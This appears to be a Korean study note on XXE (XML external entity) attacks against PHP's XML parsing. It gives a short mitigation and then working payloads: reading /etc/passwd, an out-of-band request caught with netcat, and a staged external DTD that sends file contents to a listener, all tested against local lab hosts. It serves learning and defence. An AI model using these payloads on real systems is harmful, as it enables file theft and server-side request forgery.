XXE, XML eXternal Entity
eXternal Entity ATTACK XML에서 동적으로 외부 리소스를 받아오기 위해 external entity를 사용할 때, XML Request를 파싱하는 페이지에서 발생
- SSRF를 유도할 수 있다.
- Port Scan을 수행할 수 있다.
Mitigation
XML은 보통 불특정 client와 통신하는데 사용되기 때문에 DTD 요소들을 선택적으로 validate, escape하는 것이 어렵다. 따라서 XML processor가 XML document에 포함된 다른 DTD를 거부하고 local static DTD만 사용하도록 설정해야 한다.
1
2
libxml\_disable\_entity\_loader(true)
libxml\_use\_internal\_errors(true) // 이 것도 해주면 좋다.
DTD(Document Type Definition),
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var "asdfqwer">
]>
<result>&var;</result>
1
2
asdfqwer
SimpleXMLElement Object ( [var] => SimpleXMLElement Object ( [var] => asdfqwer ) )
eXternal Entity, SYSTEM / PUBLIC
URI로는 외부 서버 주소 또는 파싱이 이루어지는 서버에서 지원하는 wrapper 를 사용할 수 있음
1
2
3
4
5
<!ENTITY var PUBLIC "" "http://127.0.0.1:8080/web/hack/xxe/hello">
<!ENTITY var SYSTEM "http://url">
<!ENTITY var SYSTEM "file://path">
<!ENTITY var SYSTEM "gopher://">
...
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY var SYSTEM "file:///etc/passwd">
]>
<result>&var;</result>
1
2
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin ...
SimpleXMLElement Object ( )
* simplexml\_load\_string( , ,LIBXML_NOENT)
를 주면 ENTITY reference(e.g., &var;
)를 모두 실행 결과로 대체해버린다. 따라서 Object가 비어있게 된다. 이 flag를 주지 않으면 external entity가 resolve(=expand) 되지 않는다.
Out-of-band data retrieval
PARAMETER ENTITY Declaration
서버에서 외부 리소스를 불러온 결과 데이터를 출력해주지 않게 대부분이므로 Out-of-band 방식으로 데이터를 받아보아야 한다.
EXTERNAL (PARSED) PARAMETER ENTITY Declaration: LOAD
외부 .dtd를 불러오는데 사용 하는데, 정의하고 나서 바로 뒤에 %var
를 적으면 해당 변수를 resolve하기 위해 외부 리소스에 요청하게 된다. 즉 %load
를 문자열에 넣거나 하는게 아니라, 그냥 적어주면 이를 파싱하면서 외부 리소스 요청이 일어난다.
1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % load SYSTEM "http://127.0.0.1:8779">%load;
]>
<result></result>
1
2
3
$ nc -l -p 8779
GET / HTTP/1.0
Host: 127.0.0.1:8779
이런 식으로.
INTERNAL (PARSED) PARAMETER ENTITY Declaration: EJECT
Note ) External Param과 다르게 실제로 % eject
가 사용 될 때 요청한다.
1
<!ENTITY % eject "this is Internal Parameter">
다음과 같이 사용하면 될 것 같지만, 안된다.
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % intparam "this is Internal Parameter">
<!ENTITY var "var include this : %intparam;">
]>
<result></result>
Note ) Parameter entity references는 internal DTD 내부에서 사용될 수 없다. 즉, external DTD에서만 사용할 수 있다.
따라서 다음과 같은 방식으로 사용해야만 한다.
- Internal parameter entity를 internal dtd(현재 parse되는 dtd) 또는 external.dtd에 선언한다.
- external.dtd를 구성한다. 이 때 Internal parameter entity를 사용할 수 있다. (어디에 선언되어 있든.)
- internal dtd에서 External parameter entity를 이용해 external.dtd를 불러온다.
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % intparam SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
<!ENTITY % load SYSTEM "http://127.0.0.1/xxe/external.dtd">%load;
]>
<result>&var;</result>
external.dtd :
1
2
3
4
5
6
<!ENTITY % ext\_intparam "this is Internal Parameter">
<!ENTITY var "var include this : %ext\_intparam;">
<!ENTITY var2 "var2 include this : %intparam;">
result :
1
2
var include this : this is Internal Parameter
SimpleXMLElement Object ( )
Limitation
- DTD에 내용을 삽입하거나, DTD 자체를 삽입할 수 있어야 함. * DTD는 XML문서 당 하나만 존재할 수 있다.
- SYSTEM으로 불러오는 external resource가 DTD 문법에 어긋나지 않아야 함.
- Binary는 불러올 수 없음.
Retrieve
서버 측에서 parse되는 XML의 DTD를 조작할 수 있다고 가정. 이 DTD가 Internal dtd다.
- Internal dtd에 Internal Parameter Entity를 사용해 읽어올 데이터를 Entity로 지정.
- external.dtd를 내 서버에 올려두고, 1에서 선언한 Entity를 external.dtd에서 불러오도록 함. 이 때 단순히 불러오는 것 만으로는 출력되지 않기 때문에 다시 내 서버로 External entity 요청하여 내 서버 측 로그에 유출 데이터가 찍히도록 함.
- External Parameter Entity를 이용해 타겟 서버의 Internal dtd가 external.dtd를 불러오도록 xml 삽입. * 보내는 데이터에 개행이 포함되어 있는 경우
http
대신ftp | gopher
를 사용한다.
Injection dtd
1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE dtd[
<!ENTITY % eject SYSTEM "file:///home/ubuntu/workspace/web/hack/xxe/hello">
<!ENTITY % load SYSTEM "http://127.0.0.1:8080/web/hack/xxe/external.dtd">%load;
]>
<result></result>
external.dtd
1
2
3
<!ENTITY % var SYSTEM "http://127.0.0.1:8123/%eject;">%var;
============
parser error : Invalid URI: http://127.0.0.1:8123/%eject;
이렇게 구성하면 될 것 같지만, external.dtd에서 % var
를 파싱하는 시점에 아직 % eject
가 resolve되지 않아 Invalid URI가 발생. % eject
는 실제로 사용될 때 resolve되므로, 이를 문자열에 넣는 식으로 한 번 더 거쳐야 한다.
1
2
3
<!ENTITY % var "<!ENTITY % result SYSTEM 'http://127.0.0.1:8123/%eject;'>">%var; %result;
============
parser error : Invalid URI: http://127.0.0.1:8123/hello
그러나 resolve 되었음에도, Invalid URI가 발생한다.